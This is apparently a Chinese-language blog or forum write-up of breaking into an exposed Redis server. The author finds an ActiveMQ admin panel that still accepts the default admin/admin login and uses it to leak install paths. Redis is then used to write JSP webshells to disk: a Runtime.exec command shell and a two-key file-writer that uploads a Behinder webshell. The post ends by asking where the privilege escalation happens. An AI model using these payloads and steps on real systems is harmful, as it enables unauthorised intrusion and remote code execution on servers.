redis极限环境下提权

连接远程redis服务器

显示 slaveof no one

运行config set stop-writes-on-bgsave-error no 命令

127.0.0.1:6379> ping
PONG

常规redis提权:

尝试了写密钥,执行save失败

反弹也无果

写文件没有web路径

是时候祭起nmap大杀器了:

[email protected]:~$ sudo nmap -sS -Pn -p 0-65535 ip
80/tcp open http
2181/tcp open zookeeper
3306/tcp open mysql
8161/tcp open ActiveMQ

ActiveMQ 柳暗花名又一村

http://ip:8161/admin/test/systemProperties.jsp

admin admin

获取到了绝对路径

|sun.boot.library.path |/usr/local/jdk/jdk1.8.0_51/jre/lib/amd64|

|activemq.home | /usr/local/apache-activemq-5.14.0/|

ActiveMQ5.14版本之前的写shell漏洞已经修复了,所以这次利用redis写到api目录里面。

问题来了,redis写shell只能

save <%Runtime.getRuntime().exec(request.getParameter("i"));%>

其他长语句会乱码,这个不带回显的可以确定写成功了。ping dnslog有数据,但是执行 wget,curl显示无文件,echo也写不了文件。

测试:

本地装了一个redis,进行测试:

然后本来想直接写个冰蝎然后发现键值保存顺序不规律会被打乱,最后就写了这个:

set //2 "\n\n<%newjava.io.FileOutputStream(request.getParameter(\"f\")).\n\n/*" *
set //1"*/\n\nwrite(request.getParameter(\"c\").getBytes());%>\n\n"

(本地centos测试的时候没有加/**/ 最后也可以执行的)

然后url编码一个冰蝎

然后提示401 401......不是403也不是500 。

我们把浏览器登录后的请求头添加到冰蝎就可以了。

请问这里的提权操作是在哪个步骤?